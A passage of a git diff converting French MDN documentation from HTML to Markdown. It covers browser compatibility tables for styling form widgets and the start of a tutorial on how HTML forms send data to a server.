- </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Oui</td> - <td>Partiel</td> - <td> - <ol> - <li>Chrome cache les éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} quand la propriété {{cssxref("padding")}} est appliquée sur un élément altéré.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>No</td> - <td>No</td> - <td colspan="1" rowspan="3"> - <ol> - <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>No</td> - <td>No</td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>No</td> - <td>No</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Oui</td> + <td>Partiel</td> + <td> + <ol> + <li> + Chrome cache les éléments {{HTMLElement("progress")}} et + {{HTMLElement("meter")}} quand la propriété + {{cssxref("padding")}} est appliquée sur un élément altéré. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>No</td> + <td>No</td> + <td colspan="1" rowspan="3"> + <ol> + <li> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>No</td> + <td>No</td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>No</td> + <td>No</td> + </tr> + </tbody> </table> -<h3 id="Widget_range">Widget <code>range</code></h3> +### Widget `range` -<p>Il n'y a pas de méthode standard pour changer le style de la poignée de<code> range</code> et Opera n'a aucun moyen de modifier le rendu par défaut du widget <code>range</code>.</p> +Il n'y a pas de méthode standard pour changer le style de la poignée de` range` et Opera n'a aucun moyen de modifier le rendu par défaut du widget `range`. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Chrome et Opera ajoutent quelque espace supplémentaire autour du widget, alors que Opera sous Windows 7 réduit la poignée de <code>range</code>.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Non</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>La propriété {{cssxref("padding")}} est appliquée, mais elle n'a aucun effet visible.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>No</td> - <td>No</td> - <td colspan="1" rowspan="3"> - <ol> - <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>No</td> - <td>No</td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>No</td> - <td>No</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Chrome et Opera ajoutent quelque espace supplémentaire autour du + widget, alors que Opera sous Windows 7 réduit la poignée de + <code>range</code>. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Non</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + La propriété {{cssxref("padding")}} est appliquée, mais elle + n'a aucun effet visible. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>No</td> + <td>No</td> + <td colspan="1" rowspan="3"> + <ol> + <li> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>No</td> + <td>No</td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>No</td> + <td>No</td> + </tr> + </tbody> </table> -<h3 id="Boutons_image">Boutons image</h3> +### Boutons image <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Oui</td> - <td>Oui</td> - <td colspan="1"> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td colspan="1"> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td colspan="1"> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Oui</td> + <td>Oui</td> + <td colspan="1"> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td colspan="1"> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td colspan="1"> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + </tbody> </table> -<p>{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li>Table de compatibilité des propriétés pour les widgets de formulaire</li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- Table de compatibilité des propriétés pour les widgets de formulaire diff --git a/files/fr/learn/forms/sending_and_retrieving_form_data/index.md b/files/fr/learn/forms/sending_and_retrieving_form_data/index.md index c2736e9d5b..c530eaae7f 100644 --- a/files/fr/learn/forms/sending_and_retrieving_form_data/index.md +++ b/files/fr/learn/forms/sending_and_retrieving_form_data/index.md @@ -15,199 +15,213 @@ tags: translation_of: Learn/Forms/Sending_and_retrieving_form_data original_slug: Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires --- -<div>{{LearnSidebar}}{{PreviousMenu("Learn/Forms/Form_validation", "Learn/Forms")}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/Forms/Form_validation", "Learn/Forms")}} -<p>Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.</p> +Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Notions concernant les ordinateurs, <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">compréhension du HTML</a>, et<a href="/fr/docs/Learn/HTML/Introduction_to_HTML"> </a>connaissances de base de <a href="/fr/docs/Web/HTTP/Basics_of_HTTP">HTTP </a>et <a href="/fr/docs/Learn/Server-side/First_steps">programmation côté serveur.</a></td> + <td> + Notions concernant les ordinateurs, + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >compréhension du HTML</a + >, et<a href="/fr/docs/Learn/HTML/Introduction_to_HTML"> </a + >connaissances de base de + <a href="/fr/docs/Web/HTTP/Basics_of_HTTP">HTTP </a>et + <a href="/fr/docs/Learn/Server-side/First_steps" + >programmation côté serveur.</a + > + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Comprendre ce qui arrive quand les données d'un formulaire sont soumises, y compris les notions de la façon dont les données sont traitées sur le serveur.</td> + <td> + Comprendre ce qui arrive quand les données d'un formulaire sont + soumises, y compris les notions de la façon dont les données sont + traitées sur le serveur. + </td> </tr> </tbody> </table> -<p>Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumission d'un formulaire.</p> +Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumission d'un formulaire. -<h2 id="clientserver_architecture">A propos de l'architecture client / serveur</h2> +## A propos de l'architecture client / serveur -<p>Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme <a href="https://httpd.apache.org/">Apache</a>, <a href="https://nginx.com/">Nginx</a>, <a href="https://www.iis.net/">IIS</a>, <a href="https://tomcat.apache.org/">Tomcat</a>...), en utilisant le <a href="/fr/docs/Web/HTTP">protocole HTTP</a>. Le serveur répond à la requête en utilisant le même protocole.</p> +Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme [Apache](https://httpd.apache.org/), [Nginx](https://nginx.com/), [IIS](https://www.iis.net/), [Tomcat](https://tomcat.apache.org/)...), en utilisant le [protocole HTTP](/fr/docs/Web/HTTP). Le serveur répond à la requête en utilisant le même protocole. -<p><img alt="Un schéma élémentaire d'architecture client/serveur sur le Web " src="client-server.png"></p> + -<p>Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP.</p> +Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP. -<div class="note"> - <p><strong>Note :</strong> Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module <a href="/fr/docs/Learn/Server-side/First_steps">Programmation d'un site web côté‑serveur : premiers pas</a>.</p> -</div> +> **Note :** Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps). -<h2 id="on_the_client_side_defining_how_to_send_the_data">Côté client : définition de la méthode d'envoi des données</h2> +## Côté client : définition de la méthode d'envoi des données -<p>L'élément <a href="/fr/docs/Web/HTML/Element/Form"><code><form></code></a> définit la méthode d'envoi des données. Tous ses attributs sont conçus pour vous permettre de configurer la requête à envoyer quand un utilisateur presse le bouton d'envoi. Les deux attributs les plus importants sont <a href="/fr/docs/Web/HTML/Element/Form#attr-action"><code>action</code></a> et <a href="/fr/docs/Web/HTML/Element/Form#attr-method"><code>method</code></a>.</p> +L'élément [`<form>`](/fr/docs/Web/HTML/Element/Form) définit la méthode d'envoi des données. Tous ses attributs sont conçus pour vous permettre de configurer la requête à envoyer quand un utilisateur presse le bouton d'envoi. Les deux attributs les plus importants sont [`action`](/fr/docs/Web/HTML/Element/Form#attr-action) et [`method`](/fr/docs/Web/HTML/Element/Form#attr-method). -<h3 id="the_action_attribute">L'attribut action</h3> +### L'attribut action -<p>Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire.</p> +Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire. -<p>Dans cet exemple, les données sont envoyées à une URL précise — http://foo.com :</p> +Dans cet exemple, les données sont envoyées à une URL précise — http\://foo.com : -<pre class="brush: html"><form action="http://foo.com"></pre> +```html +<form action="http://foo.com"> +``` -<p>Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur :</p> +Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur : -<pre class="brush: html"><form action="/somewhere_else"></pre> +```html +<form action="/somewhere_else"> +``` -<p>Sans 